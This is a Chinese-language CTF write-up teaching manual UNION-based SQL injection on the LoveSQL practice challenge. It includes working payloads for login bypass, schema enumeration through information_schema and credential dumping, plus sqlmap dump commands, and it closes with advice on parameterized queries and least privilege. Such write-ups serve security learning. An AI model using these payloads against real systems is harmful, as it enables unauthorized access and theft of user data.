[极客大挑战 2019]LoveSQL 这道题,在 CTF Web 方向里几乎算一个“入门必刷”的经典靶场。它考察的东西其实非常朴素:通过一个登录框,手工完成一次完整的 SQL 注入。没有 WAF,没有复杂的过滤,也没有需要脑洞的骚操作,只要把 SQL 注入的基础链路走通,flag 就会被一层一层捞出来。我见过很多初学者拿到题后盯着页面发呆,不确定该从哪里下手,或者一上来就点开 SQLmap 跑一把。这篇文章我想按普通人第一次接触这道题时的思路,把从判断注入点到最终取到数据的每一步都拆开讲,也顺便把新手最容易卡住的几个环节单独拿出来说一说。
1. 先看清题目:一个登录框能藏什么
1.1 登录框是最常见的注入点
这道题的页面外观没什么特别的,就是一个标准的账号密码登录表单,通常还带一个“login”之类的提示。以我做这道题时的环境为例,页面就是两个输入框加一个提交按钮,后台大概率是 PHP + MySQL 的经典组合,底层查询长这样:
$username = $_POST['username']; $password = $_POST['password']; $sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";如果后端没有做任何过滤、转义,也没有使用预处理参数绑定,那么用户的输入会被直接拼接进 SQL 语句。这正是 SQL 注入的前提条件。判断这里能不能注入,我一般先做两个最简单的测试:先在用户名框输一个单引号',密码随便填,提交后如果页面出现 SQL 语法报错,说明单引号已经进入并破坏了原来的 SQL 结构;再输入admin' or 1=1#,密码依然随便填,如果这次能登录成功,注入点基本就坐实了。
给新手一个比较直观的理解:你把用户名输入框当成一个“填空位置”,后端已经把 SQL 写成一个半成品:
SELECT * FROM users WHERE username='____' AND password='____'你填进去的内容如果只是普通字符,那么查询就是按正常逻辑执行;但你填入的内容里包含单引号、注释符、逻辑运算符号,数据库读到的就不是一个“用户的输入”,而是一段改变了原本结构的 SQL。比如输入admin' or 1=1#之后,整条语句会变成:
SELECT * FROM users WHERE username='admin' or 1=1#' AND password='任意'#在 MySQL 里是注释符,它会把后面所有内容注释掉,所以真正被数据库执行的只有:
SELECT * FROM users WHERE username='admin' or 1=1这个条件恒为真,数据库返回了用户表中的数据,登录判断自然就被绕过了。这就是网上常说“万能密码”的底层原理,它不是口令正确,而是改变了查询条件本身。
1.2 这题的“伪装”与提示
很多人卡在这道题的第一个地方,是发现万能密码确实能登录,但页面只回显了一行英文字符,类似“Hello you have not completed the challenge yet!”,并没有看到 flag。于是开始怀疑是不是注入没成功。其实这个反应本身就是题目的一个提示:登录验证只是入口,真正有用的数据还藏在数据库里,你需要借助同一个注入点把数据读出来。
这属于回显型注入。所谓“回显型”,指的是页面会把 SQL 查询结果中的某些字段直接打印出来。对于学习 SQL 注入来说,回显型是最友好的类型,因为你在 URL 或表单里输入构造好的 payload,页面会把结果直接反馈给你,方便一路做验证。这也决定了这道题最适合采用 UNION 联合查询注入来解题。如果换成没有任何回显的盲注环境,一个数字一个字母地猜会让新手崩溃。
2. 先补基础:SQL 注入到底是怎么发生的
2.1 SQL 拼接与注入的本质
很多人把 SQL 注入想得很玄,其实它就是“数据与代码没有分离”的问题。正常程序里,SQL 语句是结构,用户输入是数据;但如果用字符串拼接的方式把输入直接塞进 SQL,用户输入就不再只是数据,它可以携带 SQL 语法,变成代码的一部分。打个比方:你让一个人帮忙填合同,结果这个人在合同里顺手加了一句“所有条款对我不生效”,签名处却没看出来,于是整份合同都变味了。
在我平时测试这类题目时,会习惯先把最终拼接出来的 SQL 在脑子里过一遍:
SELECT * FROM users WHERE username='admin' AND password='123456'这是正常状态;而输入admin' or 1=1#后,因为多了一个单引号提前关闭了 username 的字符串,再用 or 1=1 制造恒真条件,最后用注释符把后面的AND password='...'整个吞掉,最终语句变成可操控的形态。判断注入点的核心也是找这层“闭合关系”:能看到输入点、能闭合引号、能注释掉多余部分,基本就成功了。
2.2 注释符和 URL 编码的那些坑
MySQL 支持的注释符有多种,本题目里常用两个:#和--(注意 dash dash 后面必须有一个空格,或者一个不可见字符)。实际提交时经常看到别人写--+,一开始可能不理解,其实这是因为 HTTP 请求中+会被解析成空格,所以--+等价于--,刚好满足“--后面有空格”的语法要求。
我在给新人讲解时,会特别强调一个细节:如果你在地址栏里直接输入 payload,可能因为浏览器或前端的处理,导致#、空格、单引号被转码或丢失。尤其是#在 URL 中是锚点标识,虽然 POST 请求里影响不大,但如果后端在解码时做了特殊处理,最好直接在抓包工具里修改原始请求内容。这也是为什么我建议新手学这道题时,至少要学会用抓包工具改包:页面输入框只是一种“方便展示”,真正提交给服务器的是 HTTP 请求体。
2.3 为什么先要测列数
联合查询注入,简单说就是让原来的查询语句和你的 UNION SELECT 语句“合并”执行。但 UNION 有个硬性要求:前后两个查询的字段数量必须一致,否则数据库直接报错。所以拿到一个疑似 UNION 注入点之后,第一件事不是急着 select,而是先搞清楚原查询一共返回几列。
测列数最常用的办法是ORDER BY N。ORDER BY在 MySQL 里既可以按列名排序,也可以按列的序号排序。例如:
admin' order by 1# admin' order by 2# admin' order by 3#当 N 小于或等于当前查询的列数时,查询能正常返回;当 N 大于列数时,数据库会报类似Unknown column '4' in 'order clause'的错误。于是通过不断递增 N,观察哪一次开始报错,就能确认列数。在这个题里,我测试到order by 3时页面依然正常,到order by 4时开始报错,因此原查询是 3 列。这一步是整个 UNION 注入的地基,千万不要靠猜。
3. 手把手完整解题流程
3.1 先用 UNION 确认回显位
知道原查询是 3 列后,接下来要确认“页面会把查询结果的哪些位置打印出来”。这种位置叫回显位,比如页面只展示查询结果中的第 2、3 列,那么你 SELECT 里出现的第 1 列数据就算选得再特殊,页面也不会显示。
构造 payload:
admin' union select 1,2,3#如果页面出现数字 2 和 3,说明第 2、3 位是回显位。你可能会好奇,为什么第 1 位的数字 1 没显示?原因很简单,后台页面大概率只把查询结果中的某些字段显示在页面上,比如用户名、密码等信息展示位,第一个字段可能是页面模板里没有用到的 id 字段。试出回显位后,后续所有查到的敏感数据都应放在能显示的那个位置,也就是第 2 列或第 3 列,后面我统一用第 2 列作为主力。
这里有一个比较常见的小问题:有些环境会把回显位的数字输出在 HTML 里,但可能被 CSS 隐藏,或者页面只展示第一行数据。别慌,多看看响应内容的前后文,抓包工具里搜索一下数字是否存在即可。
3.2 爆库名:database() 函数
有了回显位,第一步就可以查当前使用的数据库名。把第 2 列换成database():
admin' union select 1,database(),3#页面回显了一个短字符串,通常就是当前库名,我测试时得到的是geek。这里可以顺手多测几个系统函数:
admin' union select 1,user(),3# admin' union select 1,version(),3#user()显示当前连接数据库的用户,version()显示 MySQL 版本。知道版本不是白看的,不同版本在 information_schema 里的一些视图细节有差异,例如 MySQL 8.0 对部分元数据视图做了调整,遇到报错时可以据此调整思路。当然本题是基础环境,知道版本有利于判断题目的出题背景。
3.3 爆表名:information_schema 字典表
获得库名后,下一步是枚举库里面有哪些表。MySQL 自带一个“数据库的数据库”,叫 information_schema,里面记录了服务器上所有库、所有表、所有字段的元信息。利用它来枚举表名,标准的注入 payload 如下:
admin' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()#这里简单解释几个点:
table_schema在 information_schema 里表示“这个表属于哪个库”,等同我们说的 database。group_concat(table_name)会把查出来的多行表名合并成一行,用逗号分隔。如果不加这个函数,而页面又只回显第一条记录时,你可能会反复调整limit才能看到全部表名。
执行后,我得到的表名是geekuser和l0ve1ysq1。看到第二个表名你应该已经明白,它就是love sql的“数字抖动版”,题目的灵魂基本就藏在这了。
3.4 爆字段:带引号表名的处理方式
知道表名后,接下来要枚举每张表的字段名。查询语句长这样:
admin' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='geekuser'#这里很容易遇到一个问题:你的整个 payload 已经用了一个单引号来闭合 username,现在表名又要用单引号,如果表名本身也拼接错误,SQL 就会变成乱七八糟的语法。为了减少这类冲突,我习惯直接把表名转成十六进制再写在 SQL 里。MySQL 支持在字符串比较或查询条件中使用十六进制字面量,比如:
table_name=0x6765656b757365720x6765656b75736572就是字符串geekuser的十六进制表示。另一个带数字的表名l0ve1ysq1对应的是:
table_name=0x6c3076653179737131于是查询可以写成:
admin' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=0x6c3076653179737131#实测两张表的字段都是三列:id、username、password。这说明它们是标准用户表结构,接下来直接读取数据即可。如果你遇到一些引号被过滤的题目,这种把字符串转十六进制的技巧会特别有用,建议练熟。
3.5 爆数据:按表逐层读并拿到 flag
字段名到手后,一张表一张表地读数据。先读第一张表:
admin' union select 1,group_concat(username),group_concat(password) from geekuser#页面回显的是一批普通用户名密码记录。然后再读第二张表:
admin' union select 1,group_concat(username),group_concat(password) from l0ve1ysq1#当我把目光移到返回的 password 字段时,就能看到一长串类似flag{...}格式的字符串。题目要的东西就在这里。如果想读得更完整,也可以把用户名和密码拼在一起输出:
admin' union select 1,group_concat(concat_ws(':',username,password)),3 from l0ve1ysq1#concat_ws会用第一个参数作为分隔符把后面字段拼起来,这样可以在一行里同时看到用户名和密码。如果页面回显被截断,还可以尝试用substr分段截取,或者用limit一条条看,只是效率会低一点。这一点在实际渗透测试中也挺重要:回显空间有限时,压缩数据比纠结排版更实用。
3.6 用 SQLmap 验证结果(工具党参考)
手工流程走完一遍,对题目的理解才是完整的。不过工具也该会。SQLmap 是常用的自动化注入检测工具,在这个环境里可以直接用:
sqlmap -u "http://目标地址/check.php" --data "username=admin&password=123" --batch从登录逻辑看,注入参数应该是username,所以可以单独指定:
sqlmap -u "http://目标地址/check.php" --data "username=admin&password=123" -p username --batch接下来的标准操作顺序是:
sqlmap -u "http://目标地址/check.php" --data "username=admin&password=123" -p username --dbs --batch sqlmap -u "http://目标地址/check.php" --data "username=admin&password=123" -p username -D geek --tables --batch sqlmap -u "http://目标地址/check.php" --data "username=admin&password=123" -p username -D geek -T l0ve1ysq1 --dump --batch工具能直接帮你枚举库、表、字段并导出数据。但我还是建议新手先把手工注入走顺,因为 SQLmap 不会告诉你“为什么 union 后面必须列数一致”“为什么表名要转十六进制”这些底层逻辑。工具是效率工具,不是理解工具。
4. 实际测试中的翻车点与排查思路
4.1 我的 # 怎么不生效
这是新手第一个容易踩的坑。在页面上输入admin' or 1=1#时,#可能会被前端 JavaScript 过滤,也可能被后端转义,甚至有可能你输入的是中文输入法的单引号。最直接的办法是打开抓包工具,直接在原始 POST 请求体里改参数。比如原始请求长这样:
username=admin&password=123你可以改成:
username=admin%27%20or%201=1%23&password=123其中%27是单引号的 URL 编码,%20是空格,%23是#。我建议初学者养成一个好习惯:任何浏览器里看起来正常的输入,都要在请求包里确认最终内容是什么。因为网页前端可能做了一堆校验,但服务端真正关心的是 HTTP 请求体。
4.2 order by 4 不报错怎么办
如果继续把order by加到 5、6 都不报错,有可能是原查询的列数确实比想象的多,或者后台拼接出来的语句没有按预期执行。这种情况不要死磕 order by,直接用union select 1,2,3,4一个个试,看页面是否报列数不匹配。UNION 列数不对时,错误信息会非常明确,也更能帮助你理解当前 SQL 结构。还有种情况是后端把order by 4中的 4 当成了别名或字符串的一部分,导致没有按列序号处理,这种场景往往同时伴随其他过滤,需要看报错信息再判断。
4.3 表名里带引号查询报错
这是查询 information_schema 时最经典的报错点。你整个 payload 本身要在一个字符串变量里闭合,表名又要一个引号,比如:
admin' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='geekuser'#最终后端拼接时,SQL 结构会变成username='admin' union ... table_name='geekuser'#' AND ...,看起来是对了,但一旦表名里出现空格、大写、特殊字符,或者你的引号数量判断失误,就很容易因为引号不匹配而报错。解决办法就是前面说的,把表名转换成十六进制,避免在 SQL 语句中再引入字符串引号。虽然这道题的表名比较规矩,但养成用十六进制的习惯,后面遇到复杂表名时能少踩很多坑。
4.4 页面没有想象的回显
有朋友反映,按照同样的 payload 输入,页面却没有显示出数字 2 和 3。这可能是因为页面的展示逻辑只打印第一条记录,也可能当前环境并不是简单的回显型注入,查询结果被程序内部使用而不直接输出。区分方式很简单:如果输入union select后页面上找不到你自己输入的标志数字,但输入' and 1=1和' and 1=2时页面表现不同,那说明它属于盲注,别说 UNION 了,连直接回显都不行。这道题是典型回显型,所以不要因为一次没看到回显就怀疑自己思路错了,先确认是不是把参数填错了位置,例如把 payload 写进了密码框,而后端只把用户名拼进了 SQL。
4.5 常见问题速查表
在实际带新人做这道题的过程中,我把高频问题整理成了一张小表,方便对号入座:
| 现象 | 可能原因 | 解决办法 |
|---|---|---|
#不生效或语法错误 | 编码、前端过滤、引号不是半角 | 抓包改原始请求,用%23编码 |
order by 4不报错 | 原查询列数多于 3,或列名排序不同 | 继续递增,或用 union select 不同列数试探 |
| 查询表名时语法报错 | 单引号闭合混乱 | 用0x十六进制表示字符串表名 |
| 页面没有显示回显位 | 页面只取第一行,或注入点判断错位 | 用 group_concat 合并结果,检查请求参数 |
| SQLmap 跑不出数据 | 参数名指定错误、URL 格式不对 | 用抓包工具确认 POST 参数名,加-p指定 |
5. 从这道题延伸到真实防御
5.1 参数化查询是第一选择
做这道题的过程其实就是模拟一次真实 SQL 注入的完整链路。而在真实业务系统里,抵御它的最有效手段从来不是“把用户输入的引号过滤掉”,而是参数化查询。所谓参数化,就是把 SQL 语句结构和参数值分开传输,用户输入永远只作为参数值,数据库不会再把它当作 SQL 语法的一部分来解析。类似 PHP 的 PDO 预处理或 Java 的 PreparedStatement,都属于这类方案。写代码时只要养成这个习惯,绝大部分注入面都能堵死。
5.2 最小权限与控制影响面
除了代码层修复,数据库权限设计也很关键。生产环境里给应用分配的账号,最好只具备它业务模型所需的最小权限,而不是给一个可以读写所有库的高级账号。SQL 注入带来的危害程度,往往取决于当前连接数据库的账号权限:权限越低,攻击者越难读取其他表、越难写文件,影响面也就越小。这一点在真实渗透测试中体现得很明显,所以我建议学习阶段就从这道题开始,建立起“注入点很危险,权限配置能救命”的直觉。
就我个人经验来说,这道题最大的价值不是那个 flag 字符串,而是把 SQL 注入最标准的一条链路完整走了一遍。之后你再看到任何登录框,第一反应应该是尝试还原后台的 SQL 语句长什么样;看到union select,再也不会因为列数不对而不知道错在哪。CTF 入门阶段,与其急着刷几十道题,不如先把这样一道经典题手工打通,把每一步的“为什么”都弄明白,后面再遇到过滤、编码、盲注这些进阶内容,才有扎实的底子去拆解。顺手分享一个小经验:第一次做这道题的时候,建议把每一条 payload 和页面回显一起截图记录,做完后回头看,这比任何速查表都有用。